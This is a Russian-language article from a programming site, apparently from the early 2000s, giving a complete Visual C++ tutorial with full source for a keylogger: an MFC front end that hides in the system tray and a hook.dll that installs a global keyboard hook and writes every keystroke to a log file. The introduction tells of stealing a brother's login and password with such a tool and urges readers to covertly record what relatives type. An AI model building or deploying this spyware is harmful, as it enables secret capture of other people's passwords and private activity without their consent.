| « Поставить закладку » « Сделать стартовой » | |||
|
|||
|
Высший пилотаж - пишем клавиатурный shiffer
CJ Pusher (lapkarelief@mail.ru) Зачем мне сниффер? У тебя есть старший брат? У моего друга есть. Зато комп у них с братом - один на двоих. Когда мой друг был еще маленьким, он очень хотел полазать в Инете по account'у братца, когда тот уходил в институт. А вот логина с пассвордом так узнать и не мог. Так и остался малыш в детстве без халявной порнухи. С тех пор он сильно изменился - стал угрюмым, нелюдимым, часто плакал. А брат его сейчас работает программистом и до сих пор лазает в сетке. И тут случайно нашел наш герой в директории брата очень интересный софт - прогу, которая ведет log всех нажатых на клаве кнопок. Он решил запустить ее перед тем, как брат полез в Инет. Когда братец пошел спать, мой друг посмотрел этот log и нашел нужные логин и пароль. Затем он сам полез в сеть и в первую очередь стал искать, куда заходил его брат. После недолгого нажимания клавиш, записанных в log'е, он забрался на сайт садо-педофилов-извращенцев с цветными иллюстрациями и анимацией. Парень пришел в ужас - он никогда не ожидал от родного брата таких наклонностей... А неделю назад брата посадили за тройное изнасилование в извращенной форме. Вот так. Чтобы таких случаев больше не повторялось, советую внимательно относиться к своим родственникам, работающим за твоим компом. Не стоит ли тебе обзавестись клавиатурным шпионом, который бы беспристрастно записывал бы все действия юзера на винт? Сейчас у тебя есть возможность самому написать такую прогу. Если у тебя уже стоит Visual C++, то можно начинать прямо сейчас, если нет, то пришло самое время его поставить. Часть первая, или что мы хотим от нашей проги? Очень полезно знать, что будет делать программка, перед тем как начать ее кодить. Неплохо бы представить ее интерфейс, окошки, возможности, поведение. При запуске наше творение будет выдавать окно с тремя кнопками: "Начать работу", "Выход", "Выбор Log файла". Там будет поле с именем отчетного файла и системное меню в левом верхнем углу с пунктом About, где будет висеть твое имя. Нравится? Если нажать кнопку начала работы, то окно свернется, клавиатурные сообщения будут перехватываться, и в tray (рядом с часами) появится иконка, щелкнув которую, можно опять вызвать главное окно, а дальше либо прекратить работу, либо, сменив log-файл, возобновить весь процесс. Чего не сможет наша прога? Во-первых, она не записывает нажатия клавиш в ДОС окне (зато прекрасно работает в full screen, что подтвердил тест на NFS 3). Во-вторых, кофе она тоже варить не умеет - придется самому. И бутылки открывать - самому. Часть вторая, или с чего начать? Как написать на С++ нашего шпиона? Здесь придется не только рассчитывать на wizard - немало придется написать ручками. Поэтому прога будет состоять из двух частей: DLL и EXE. В DLL будет содержаться код ядра, перехватывающий клаву. Этот кусок приложения - самый нетривиальный и, к сожалению, останется практически без объяснения. Его придется целиком переписать без визардов или взять готовый на сайте Х. EXE'шник будет управлять запуском слежения, и в нем будет весь интерфейс. Большую часть кода сгенерит App Wizard Visual C++, и немного кода надо будет дописать. Сделать это помогут дальнейшие объяснения и картинки. Сначала мы напишем интерфейс, а затем DLL. Часть третья, или Let's do it baby (Сделай это, баба.) Перейдем к делу. Запускай Visual C++ и готовься к прорыву в сознании - ты начинаешь делать реальные проги из воздуха. Заходи в меню File->New и во вкладке Projects выбери пункт MFC App Wizard (exe). Задай название проги и место, где будут жить исходные файлы. Дальше вылезет окно, в котором надо поставить переключатель на строчку Dialog Based, то есть приложение на базе диалогового окна. Этот вариант самый удобный для нас, потому что нам надо при запуске проги вести диалог с юзером. Нажми Next и продолжай. В следующем окне убери значок ActiveX Controls, чтобы не использовать элементы ActiveX. Эти функции тебе вряд ли когда-нибудь понадобятся. В поле ввода задай заголовок главного окошка и жми Finish. Подтвердив намерение создать прогу нажатием OK, ты получишь каркас будущего клавиатурного шпиона. В первую очередь откроется окно с редактором диалогового окна. Сейчас надо нарисовать наш интерфейс. Сначала надо удалить надпись "TODO..." и кнопку OK. Надо просто щелкнуть на них и нажать Del. Затем добавить две кнопки, выбрав иконку с прямоугольником на панели инструментов и нажав мышкой в место, где будет находиться будущая кнопка. Назови одну "Начать", другую - "Выбор файла". Чтобы поменять название кнопки, щелкни на нее правой кнопкой и выбери в меню пункт Properties, затем в поле Caption введи название кнопки. Далее надо добавить в диалог поле, где будет отображаться путь к log-файлу. Для этого достаточно просто перетащить иконку "ab|" на панели Controls в желаемое место. Снова вызови Properties, но уже для поля ввода, и во вкладке Styles пометь опцию Read-Only (поле только для чтения и не может изменяться юзером). Теперь надо связать поле ввода со строкой, в которой будет храниться отображаемое имя файла. Щелкни правой кнопкой на поле ввода и выбери пункт Class Wizard. Дальше во вкладке Member Variables (переменные члены :) ) нажми кнопку Add Variable... В поле имени, после m_ напиши какое-нибудь слово, например, FileName - получится m_FileName, и это будет имя строки, где будет храниться имя log-файла. Теперь, когда все элементы интерфейса есть, можно задать события, на какие они будут реагировать. На события будут у нас реагировать только кнопки - на щелканье по ним мышкой. Чтобы добавить обработчики этого события, надо щелкнуть на желаемом элементе правой кнопкой мышки, выбрать пункт Events в появившемся окне, нажать кнопку Add and Edit. Подробности далее. Часть четвертая, или дописываем интерфейс ручками Что надо сделать, если юзер щелкнет кнопку "Начать"? Во-первых, проверить, задано ли имя файла отчета. Если нет, то ничего не делать. Во-вторых, спрятать окно и нарисовать в tray иконку. В-третьих, запустить ядро из DLL, которое ловит клавиатурный ввод. Добавь обработчик для кнопки "Начать", как сказано выше. Сразу, как нажмешь Add and Edit, появится редактор кода с курсором в месте, где находится сам обработчик. После строчки //TODO добавь такой код: if (m_FileName.IsEmpty()) { AfxMessageBox("You must choose a log file before further processing", MB_OK | MB_ICONSTOP, 0); return; } Он проверяет, задано ли имя файла. m_FileName - это имя, которое ты задал, когда добавлял к полю ввода строку. Если имя не задано, то выводится окно сообщения. Сразу ниже добавь такие строки: ShowWindow(SW_HIDE); NOTIFYICONDATA nid; nid.cbSize = sizeof(NOTIFYICONDATA); nid.hWnd = GetSafeHwnd(); nid.uID = IDR_MAINFRAME; nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; nid.uCallbackMessage = XWM_NOTIFYICON; nid.hIcon = m_hIcon; lstrcpyn(nid.szTip, "Invoke the SnifKbd main window", 30); Shell_NotifyIcon(NIM_ADD, &nid); Здесь прячется окно и рисуется иконка в tray со всплывающей подсказкой "Invoke the SnifKbd main window". Затем напиши: hmod = LoadLibrary("hook.dll"); void (*pInit)(LPCTSTR); pInit = (void (*)(LPCTSTR))GetProcAddress(hmod, "Init"); pInit(m_LogFile); Непосредственно перед строками void Cxxxxxxx::Onxxxxxxx() и //TODO напиши: HMODULE hmod; Только что мы написали обработчик нажатия на кнопку "Начать". Теперь надо придумать, что будет делать прога при нажатии на кнопку "выбор файла". Во-первых, надо показать диалог сохранения файла под именем. Затем полученное имя скопировать в строку m_FileName и отобразить ее в поле ввода. Аналогично добавляем обработчик кнопки "выбор файла" и снизу от //TODO... пишем: CFileDialog fdlgSave(FALSE, NULL, "keyb.log"); if (fdlgSave.DoModal() == IDOK) { SetDlgItemText(IDC_FILENAME, fdlgSave.GetPathName()); m_LogFile = fdlgSave.GetPathName(); } Это весь код для второй кнопки. Осталась не прописана одна вещь: ответ на щелчок юзера в иконке в tray'е. Надо поэтому написать обработчик и этого события. Так как он не связан с какими-либо элементами главного окна, добавлять его придется по-другому. Сначала надо открыть вкладку ClassView в окне проекта в левой части экрана. Открыть дерево и щелкнуть правой кнопкой на элемент CxxxxxxDlg, но не CAboutDlg. В выползшем меню выбрать пункт Add Member Function. Появится окно, в котором в поле Function Type введи afx_msg LRESULT, в поле Function Declaration - OnNotifyIcon(WPARAM wParam, LPARAM lParam) (7.jpg). Нажми OK. Появится опять окно исходника. После //TODO... напиши код: UINT uID = (UINT) wParam; UINT uMsg = (UINT) lParam; if (uMsg == WM_LBUTTONDOWN) if (uID == IDR_MAINFRAME) { ShowWindow(SW_SHOW); SetFocus(); NOTIFYICONDATA nid; nid.cbSize = sizeof(NOTIFYICONDATA); nid.hWnd = GetSafeHwnd(); nid.uID = IDR_MAINFRAME; Shell_NotifyIcon(NIM_DELETE, &nid); void (*pRelease)(); pRelease = (void (*)())GetProcAddress(hmod, "Release"); pRelease(); } return 1; Этот участок проги выводит главное окно на экран (6-я, 7-я строчки), убирает значок из tray (строчки 8-12) и отменяет слежение за клавой (строчки 13-15). Чтобы этот обработчик работал, найди в открытом файле строчку BEGIN_MESSAGE_MAP(CxxxxxDlg, CDialog), но не BEGIN_MESSAGE_MAP(CAboutDlg, CDialog), и после нее напиши: ON_MESSAGE(XWM_NOTIFYICON, OnNotifyIcon) Теперь EXE'ник полностью готов. Осталось только изменить About Box и перерисовать стандартную иконку. Для первого надо во вкладке Resource, окно проекта в ветке Dialog дважды щелкнуть элемент IDD_ABOUTBOX. В появившемся окне можно добавить текст со своим именем и копирайтом. Эта часть работы для самых скромных. Компиль прогу (F7) и переходи к следующей части.
Часть пятая, или делаем DLL-часть проги Чтобы сварганить DLL'ник, надо создать новый проект. В File->New надо выбрать вкладку Projects и тип проекта Win32 Dynamic-Link Library (10.jpg). Далее назвать проект "Hook", так как предполагается, что на выходе будет файл hook.dll. Нажимай OK и в окне визарда выбери A simple DLL project (11.jpg). Когда проект сгенерится, понадобится изменить файлы hook.cpp и stdafx.h. Вот как они должны выглядеть. Stdafx.h: // stdafx.h : include file for standard system include files, // or project specific include files that are used frequently, but // are changed infrequently // #if !defined(AFX_STDAFX_H__38CA5891_6485_11D4_B8C5_F43705C10A00__INCLUDED_) #define AFX_STDAFX_H__38CA5891_6485_11D4_B8C5_F43705C10A00__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000
// Insert your headers here #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers #include <windows.h> #include <cstdio> // Эти три #include <cstring> // строки надо #include <ctime> // добавить! // TODO: reference additional headers your program requires here //{{AFX_INSERT_LOCATION}} // Microsoft Visual C++ will insert additional declarations immediately before the previous line. #endif // !defined(AFX_STDAFX_H__38CA5891_6485_11D4_B8C5_F43705C10A00__INCLUDED_) Hook.cpp: // hook.cpp : Defines the entry point for the DLL application. // #include "stdafx.h" HANDLE g_hMod; TCHAR szLogName[256]; FILE* pFile; HHOOK hhookKbd; BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { g_hMod = hModule; return TRUE; } extern "C" { __declspec(dllexport) void Release(); __declspec(dllexport) LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam); __declspec(dllexport) void Init(LPCTSTR szFile); }; void Release() { UnhookWindowsHookEx(hhookKbd); } LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HC_ACTION && !(lParam & 0x80000000)) { if (!(*szLogName)) { LPTSTR lpszPath = new TCHAR[256]; GetModuleFileName((HINSTANCE) g_hMod, lpszPath, 256); strcpy(strrchr(lpszPath, '\') + 1, "logpath.txt"); FILE* pf = fopen(lpszPath, "r"); fscanf(pf, "%s", szLogName); fclose(pf); delete[] lpszPath; } pFile = fopen(szLogName, "a+"); time_t timer; time(&timer); char* p = ctime(&timer); p[strlen(p) - 1] = 0; TCHAR szKeyName[20]; GetKeyNameText(lParam, szKeyName, 19); for (int i = 0; i < (lParam & 0x0000FFFF); i++) fprintf(pFile, "%s - key: %sn", p, szKeyName); fclose(pFile); } return CallNextHookEx(hhookKbd, nCode, wParam, lParam); } void Init(LPCTSTR szFile) { hhookKbd = SetWindowsHookEx(WH_KEYBOARD, HookProc, (HINSTANCE) g_hMod, 0); LPTSTR lpszPath = new TCHAR[256]; GetModuleFileName((HINSTANCE) g_hMod, lpszPath, 256); strcpy(strrchr(lpszPath, '\') + 1, "logpath.txt"); FILE* pf = fopen(lpszPath, "w"); fprintf(pf, "%sn", szFile); fclose(pf); delete[] lpszPath; } Сам код, который ведет log нажатых клавиш находится в подпрограмме LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam). Его можно изменить по твоему желанию, например - чтоб он печатал, из какой проги нажата клавиша. Узнав больше о виндах и кодинге, можно очень серьезно наворотить этот код. Сохрани все и скомпиль DLL'ку (F7). Готовый файл hook.dll надо переписать в один каталог с EXE'шником, и теперь прогой можно пользоваться.
Часть шестая, или если ничего не получается Хотя эта программа и несложная, она все же не для новичка. Возможно, что прога сразу не скомпилится или не заработает, а может просто повесит машину. Подожди, не беги за бутылкой. Посмотри, правильно ли ты все сделал и переписал. Помни, что заглавные и прописные буквы тоже различаются. Если ничего не помогает совсем, то можно залить себе образец проги на сайте Х. Он называется SnifKbd. Окончание, или если все получилось :) Теперь в твоей коллекции очень полезный софт под мастдай, причем собственного приготовления. Если много вещей тебе остались непонятными, но заинтересовали тебя, то пора изучать и C++, и кодинг под Windows. Есть масса книжек по этому поводу и куча инфы в Инете. Очень пригодился бы тебе диск с Microsoft Developer Network (MSDN), где есть абсолютно вся справка по любой теме, что взбредет в голову. Без него не было бы и этой статьи. Может уже через полгода ты начнешь делать такие финты на компе, какие самому Б.Г. не снились. А пока - пока, удачно тебе узнать, что делают твои родственники за машиной. Советуем внимательно относиться к своим родственникам, работающим за твоим компом. Не стоит ли тебе обзавестись клавиатурным шпионом, который бы беспристрастно записывал бы все действия юзера на винт? Сейчас у тебя есть возможность самому написать такую прогу. Если у тебя уже стоит Visual C++, то можно начинать прямо сейчас, если нет, то пришло самое время его поставить. Рубрика: C/С++
Вышел MySQL 5.1.30, первый стабильный рели....
После публикации 29 тестовых версий анонсирован первый стабильный релиз MySQL 5.1, пригодный для промышленной эксплуатации и обеспечивающий увеличение производительности для "тяжелых" SQL запросов, по сравнению с MySQL 5.0, примерно на 15-20%. Главные новшества появившиеся в MySQL 5.1:
Подробнее... |
Рубрика: MySQL
| Добавлено: 28.11.2008
Тестирование параллельных программ.
Тестирование параллельного программного обеспечения представляет собой более сложную задачу по сравнению с тестированием последовательной программы. Программист должен знать о подводных камнях при тестировании параллельного кода, имеющихся методологиях и инструментарии.
Подробнее... |
Рубрика: Тестирование
| Добавлено: 28.11.2008
Архитектура AMD64 (EM64T).
Аннотация. В статье кратко рассматривается архитектура AMD64 компании AMD и ее реализация EM64T компании Intel. Описаны особенности архитектуры, ее возможности, достоинства и недостатки.
Подробнее... |
Рубрика: Архитектура AMD
| Добавлено: 27.11.2008
Остальные статьи: |
Цитата дня (все,добавить):
|
Realcoding.NET
© 2003-2008 |
Контакты |
Реклама на сайте
|